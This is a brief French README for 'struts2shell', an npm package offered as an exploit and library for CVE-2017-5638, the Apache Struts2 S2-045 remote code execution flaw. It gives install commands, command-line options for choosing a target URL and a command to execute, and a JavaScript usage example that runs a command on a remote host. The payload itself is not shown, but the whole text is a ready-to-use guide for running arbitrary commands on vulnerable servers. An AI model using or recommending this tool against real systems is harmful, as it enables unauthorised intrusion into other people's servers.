
Un exploit (et une bibliothèque) pour CVE-2017-5638 - le bogue Apache Struts2 S2-045.
Un exploit (et une bibliothèque) pour la faille CVE-2017-5638 - Apache Struts2 S2-045.
$ npm install -g struts2shell
$ npm install struts2shell
-h, --help affiche l'aide
-V, --version affiche le numéro de version
-u, --url [target] URL à attaquer
-c, --cmd [command] Commande à exécuter
var Struts2Shell = require('struts2shell');
Struts2Shell({
URL: 'http://example.com/some.action',
CMD: 'dir'
}, function(err, response,body) {
if(err) throw err;
console.log(body)
})

MIT
Logiciel libre, et ouais !